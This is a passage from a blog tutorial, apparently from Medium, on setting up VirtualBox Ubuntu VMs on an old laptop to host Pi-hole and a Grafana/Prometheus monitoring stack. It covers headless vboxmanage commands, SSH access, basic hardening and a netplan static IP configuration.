will run our monitoring tools Grafana and Prometheus. Pi-hole will send data to Prometheus using an exporter (we will be discussing more about it in detail while configuring) and then Prometheus will be added as a data source to Grafana, where we will be creating a dashboard with that data. Both Prometheus and Grafana will run on the same server on different ports and each of them has a web interface for configurations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jw8VN776SCi0ivqK0GDaDA.png" /><figcaption>Tool setup</figcaption></figure><h4>Setting up our Virtual Machines</h4><p>We will first set up our virtual machines inside VirtualBox with base config, before installing the required tools.</p><p>For our first virtual machine, that will host Pi-hole, we will be using a VirtualBox VM Image for the latest version of Ubuntu that is supported by Pi-hole, which is <strong><em>Ubuntu 21.04</em></strong> at the time of writing this article. We can use the same image for our second VM responsible for monitoring.</p><p>You can check out the OS requirements and prerequisites for Pi-hole <a href="https://docs.pi-hole.net/main/prerequisites/"><strong>here</strong></a>.</p><p>A great resource to find ready-to-use VM Images is <a href="https://www.linuxvmimages.com/"><strong>linuxvmimages</strong></a>. It also has a guide on how to import the downloaded image in VirtualBox <a href="https://www.linuxvmimages.com/how-to-use/how-to-import-vm-images-in-virtualbox-vdi/"><strong>here</strong></a>. After downloading the VM image, loading the .vbox file with VirtualBox and powering on the VM, right off the bat we can see that Ubuntu is up and running and we can log in with the default credentials <a href="https://www.linuxvmimages.com/how-to-use/vm-image-password/"><strong>provided</strong></a>. (Make sure the VM is configured to run in <em>Bridged mode</em> so that it’s accessible on your home network.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*umrAbeZja_aDsti75mLG6A.png" /></figure><p>In the future, for convenient management of our VMs, we will be accessing them remotely through SSH and we won’t be accessing them in the GUI mode, instead, we’ll run them in headless mode on VirtualBox using its command-line utility vboxmanage (Make sure vboxmanage is added to the PATH). At this point, we can duplicate the same VM and rename our two VMs on VirtualBox for use later. Additionally, you can also enable SSH login on your old laptop if you want to manage your VMs remotely from another device, without needing to physically work on the old laptop.</p><p><strong>Run in headless mode </strong>(“Pi-hole” is the name of the VM on VirtualBox)</p><pre>vboxmanage startvm Pi-hole --type headless 2&gt; /dev/null <em>(start VM)</em></pre><pre>vboxmanage controlvm Pi-hole savestate <em>(save state and shutdown VM)</em></pre><pre>vboxmanage list runningvms <em>(To check currently active VMs)</em></pre><p><strong>Get the IP address assigned to the VM</strong></p><pre>vboxmanage guestproperty enumerate Pi-hole | grep IP | cut -d “ “ -f 4 | sed s/,//g</pre><p>At this point, our VMs are up and running and we can SSH to them with the IP we got, using <strong><em>ssh ubuntu@&lt;IP&gt; </em></strong>and the default credentials from <a href="https://www.linuxvmimages.com/how-to-use/vm-image-password/">linuxvmimages</a>.</p><h4>Base Config</h4><p>Now that we can remotely login to our new VMs using SSH, we can change the default credentials, hostname and the banner for our servers and also assign a static IP address.</p><pre><strong>Change Hostname - <em>sudo nano /etc/hostname</em> </strong>(<em>Edit file and add the desired name)</em></pre><pre><strong>Change Banner - <em>sudo nano /etc/motd</em> </strong>(<em>Edit file and add the desired SSH banner)</em></pre><pre><strong>Change Password</strong> - <strong><em>sudo passwd</em></strong> </pre><pre><strong>sudo reboot</strong> (For changes to take place)</pre><h4><strong>Setting a static IP address</strong></h4><p>Check the name of the interface that has an IP in your network (<em>enp0s3 is the interface name, in this case</em>)— <strong><em>ip addr</em></strong><em><br></em>Navigate to<em> </em><strong><em>/etc/netplan</em></strong><em> </em>and edit the<em> </em><strong><em>01-network-manager-all.yaml</em></strong> file.</p><pre><strong><em>Enter addresses, gateway, DNS accordingly (Preferably, choose an IP outside your DHCP pool)</em></strong></pre><pre><strong>Add the below to the yaml file -</strong></pre><pre># Let NetworkManager manage all devices on this system<br>network:<br>  version: 2<br>  renderer: NetworkManager<br>  ethernets:<br>     <strong>enp0s3</strong>:<br>      dhcp4: <strong>no</strong> <br>      addresses: [<strong>192.168.0.2/24</strong>]<br>      gateway4: <strong>192.168.0.1</strong><br>      nameservers:<br>        addresses: [<strong>8.8.8.8, 8.8.4.4</strong>]</pre><pre>After saving the .yaml file run - <br><strong><em>sudo netplan apply</em></strong></pre><p>After the changes are applied, log in using the newly assigned IP addresses.</p><p>We are ready with our initial setup and now we can proceed to install our tools in <a href="https://medium.com/@inf0spec/convert-your-old-laptop-into-a-security-monitoring-url-filtering-server-part-2-b7e0feefd0a5"><strong>Part 2</strong></a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42d69c46a25d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>